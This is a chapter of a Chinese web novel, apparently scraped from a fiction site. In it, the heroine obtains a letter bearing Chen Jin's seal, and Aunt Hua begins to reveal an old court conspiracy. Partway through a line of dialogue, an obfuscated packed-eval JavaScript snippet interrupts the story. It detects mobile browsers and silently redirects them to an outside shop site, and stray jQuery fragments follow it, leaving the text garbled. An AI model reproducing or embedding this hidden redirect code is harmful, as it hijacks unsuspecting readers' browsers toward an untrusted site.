文趣网 > 都市小说 > 将军拿我当替身之后 > 21. 公之于众
    景韶阁中,花姨端坐在院中的石凳上,面前的茶水不知已凉了多久。自裴念安离去,她虽面上不显,但是心急如焚,坐立难安,满眼皆是担忧,生怕裴念安此去有危险。

    杯中茶水,她没有心思动用半分。

    这件事,唯有裴念安方能前去周旋,一旦失败她们就功亏一篑。

    花姨只能赌,赌萧振面对相似的脸会手下留情,赌他会心慈手软,也在赌裴念安会勾起他心底的旧念,不会痛下杀手。

    直到熟悉的身影终于出现在她的视线里,她悬着的那颗心才堪堪落下。

    “念安,你没事吧。”

    花姨快步向前,目光细细地将她浑身打量一遍,确定她没有受伤,才缓缓松出一口气,“没受伤就好,没受伤就好。”

    “你手里拿的什么?”花姨才注意到裴念安手中拎的酒坛,不禁发出疑问。

    裴念安眉眼弯弯,眼梢勾成月牙,举起手中的酒坛轻轻晃了晃,坛中酒水作响,“这个,酒呀。”

    花姨拉着她在石凳上落座,拿走她手中的酒放在桌子上,无奈的摇摇头,伸手轻点她的额头:“这怎么去一趟还喝上酒了?喝醉了吧你。”

    裴念安低低笑出了声,“花姨,你太小看我了。这一点,喝不醉的。”

    花姨仔仔细细地端详她片刻,确保她真的神智清醒。

    “花姨。”裴念安打断她的目光。

    “花姨,你让我办的事办成了,萧振答应了。”

    “那就好那就好。”

    “既然消息已经送到,那花姨就先走了。念安,早点休息啊。稍后我让人给你煮一碗醒酒汤送来,记得喝啊。”花姨出声嘱咐。

    “放心吧,谢谢花姨。”裴念安朝着花姨温和一笑。

    花姨离开之后,裴念安并未立即回屋,依旧坐在原来的位置上,手肘撑着石桌,以手支额,将手边的酒一口又一口地往嘴里送。

    她心不在焉地看着面前的梨花一片一片零落飘零,神情恍惚。直到坛中的酒见了底,才缓缓起身,有些摇晃地往房间内走去。

    萧振动作比料想中的迅速,才不到两天便拿到了陈晋印鉴的样式。

    等到他忙完所有的事已经傍晚了,他看向搁放在书桌一角的信封,起身打算给裴念安送去。

    还未出了大门,就听见一个熟悉到不能再熟悉的声音。

    “二哥,二哥!你在家吗?二哥。”

    人还未至,声音先到。

    萧振听到这大嗓门,感觉额间青筋直跳。他捏了捏眉心,无声地叹口气,才沉沉地开口:“在,别喊了。”

    沈逸听见回应,连忙小跑着上前,勾着萧振的肩膀。

    察觉肩上一沉,萧振淡淡斜睨他一眼,沈逸被那目光扫过,感觉要把自己的手给分解,连忙将搭在肩头的手收回。

    他不动声色地揉了揉自己的手,注意到萧振是从书房走出来,疑惑地开口:“二哥,你这是要出去吗?”

    “嗯。”

    “去哪啊,带我一个呗。哎呀二哥,你都不知道这几天我都快郁闷死了,我爹一个劲地逼着我看书看书,也不知道他是着了什么魔……”沈逸吐槽的话语一连串的吐出来,伸手在那掰扯着,唾沫四溅。

    确实,沈逸这几日都不好过。沈老先生突然心血来潮来管教沈逸的功课,察觉他之前都是在混日子,气得他胡子都吹起来了,厉声废除了他所有的外出娱乐活动,直接将他禁闭在书房,功课不过不准踏出门半步。

    沈逸在屋子里也是焦头烂额,原本之前在课上就什么都没学,现在硬生生地要把一篇文章给背下来。他也是没想到这次沈老爷是动真格的,居然真的一顿饭也没有派人给他送。

    沈逸也是个性格倔的,见如此,就赌气硬抗,在屋子里睡了一天,自娱自乐。

    后来实在饿得不行了,才把那本书拿起来,背了一个晚上才堪堪背完整。第二天去找沈老先生,坑坑巴巴地算过了。

    今儿个还是他说要找萧振问问题才混出来。

    现在得知他要出去,他几乎恨不得粘在他身上,一刻也不分开。

    萧振看他满脸热切,确实比之前消瘦几分,暗暗思忖要不要实话实说,最后还是开口:“景韶阁。”

    “哦……嗯?”沈逸听到他的回答,眼睛骤然一亮,整个人一惊一乍的。

    “景韶阁?二哥你要去景韶阁!你去那干什么呀?你不会……”

    萧振一听都知道他没个正行,连忙打断他的话:“我去给人送东西。你……”

    “我当然跟你一起去了。”沈逸精神一振,拍了拍自己的胸脯,一副没我不行的样子。

    眼看他一副可怜巴巴的模样,只好带着他一同前去。

    两人到了景韶阁直接去了后院,在亭下坐着等裴念安。

    沈逸一到这就活跃起来了,眼神不停在院子里四处打量,满心希冀渴望可以见到朝思暮想的人儿。直到一抹靛青色身影的女子闯入视线,他腾地一下站起来。

    萧振满眼疑惑地看着他,暗自思忖今天这人怎么有点不太正常,可别是沈老爷把人逼太狠变傻了。

    待到裴念安和单薇子走到亭子里,单薇子这才注意到一侧傻站的沈逸,不禁感叹真是冤家路窄,离他远远的。

    不过沈逸这人唯一的优点就是脸皮厚,没有一点眼色。人就当没看见单薇子那嫌弃的眼神,大大咧咧跟人家打招呼。

    单薇子随意地应付他几句,眼神都没停留在他身上,不动声色地从椅子的这头移到那头,偏沈逸看她移也傻傻地向她靠近。

    后来单薇子实在没地能移了,就无奈地坐在那,索性阖上眼假装睡觉,沈逸就在她耳边不停地叨叨叨。

    裴念安拿到了自己想要的东西,小心地将它放在了袖子里。

    萧振见她动作,不由挑了挑眉,戏谑道:“不打开看看?”

    “不用,将军自是言而有信之人。”

    抬眼对萧振回以一笑,“多谢将军。”

    “不必,各取所需罢了。”

    语毕,裴念安缓缓站起身,“不打扰将军了,先告辞。”

    萧振冲她微微颔首。

    “薇薇,走吧!”

    这个声音对单薇子来说简直是天籁之音,立马站起来快步朝裴念安走去。

    “快快快快走念安。”她凑到裴念安耳畔,压低声音急急催促。

    后边的沈逸还在不停地喊:“哎,单姑娘,这就走了啊?不在多说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915297|213296||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    会儿?那我们下次再聊啊。”

    单薇子连头都没回,步履匆匆,心中暗自腹诽。

    谁一直在说话自己不知道吗,自己都不觉得聒噪的。再待下去我耳朵都要起茧了,别见了别见了,最好这辈子都别见了……

    单薇子在心里默默地反驳他。

    见没人搭理,沈逸有些尴尬,挠着头向萧振走去,郁闷地开口:“二哥,她怎么都不理我啊?我哪得罪她了吗?”

    萧振斜睨他一眼,语气带着几分戏谑,“你话太多了。”

    “哎?”

    沈逸满心不解,心想,这跟话多有什么关系。

    他的心思早被萧振和裴念安看出来了,只有单薇子这个大大咧咧的没有发觉。

    不过萧振也不点破,只神色淡然地听他兀自嘀咕。

    此地不宜久留,裴念安走后,两人也不敢多做耽搁,很快便离开了。

    晚上,所有人都召集在一个屋子里,花姨屏退了所有无关的人,只有暗卫十一在门口把守。

    花姨打开那封信,目光落在信上那刻印之上,指尖抑制不住地颤抖。

    “花姨。”身侧几人见状,纷纷担忧地开口。

    她闭上了眼睛,拿着信的那只手垂了下去,再度抬眸,眼底已经泛起一层红意。

    “是这个,就是这个!没错的,哥哥给我画的跟这个十分相似。”花姨嗓音微微发颤。

    此前花姨只发布了任务,并未对他们多说什么,他们也是一头雾水。

    只见她深吸了口气,缓缓说起一段被掩埋二十年的旧事。

    “我有一位兄长,他死在了二十年前。”

    众人只知晓她出身富贵,但是不知道具体的事迹,不由皆是错愕。

    花姨和哥哥是一个小国的皇室。那年燕朝举办大朝会,周边小国纷纷前来祝贺。为以表诚意,花姨的哥哥亲自出使。

    他在燕朝呆了十天,某天后半夜他从噩梦中惊醒,便再没有了睡意。看着陌生的环境,他心中止不住地升起对故土和亲人的思念,便独自起身在宫外漫步,在一个破旧的房屋前停下了脚步。他犹豫了片刻,还是走了进去。

    他走到一个拐角处听到有谈话声,本想就此离开,只是无意间瞥到屋内人的面容时,脚步猛然钉在原处。

    在说话的是文成和禮国的一位皇子,还有一个人他觉得很熟悉。

    待看到那人侧颜时他想起来了,那人是陈晋!

    那些密密低语一字一句传入他耳中,眼底不由地惊起骇浪。原来文成帝能坐上这个皇位,是因为他与陈晋和禮朝暗地里勾结,那些他不便动手的脏事,皆是陈晋在暗地里帮他处理。

    他看到禮朝的使者手里拿着一封信,下面烙着一个特殊的印记,暗自将它牢牢记在心底。

    他从他们的谈话里知道了个大概。

    当时皇位的争夺十分激烈,文成帝为了永绝后患,不惜设计害死自己手足。自己哥哥在外作战时,他与敌国勾结,在他的周遭插入奸细,设法让他死在了战场上。其他的几位兄弟也是让他和陈晋暗中打压,削弱他们的羽翼。

    为了让自己更有胜算,他主动请缨与禮国作战,其实只是为了掩人耳目,私下已经暗通款曲。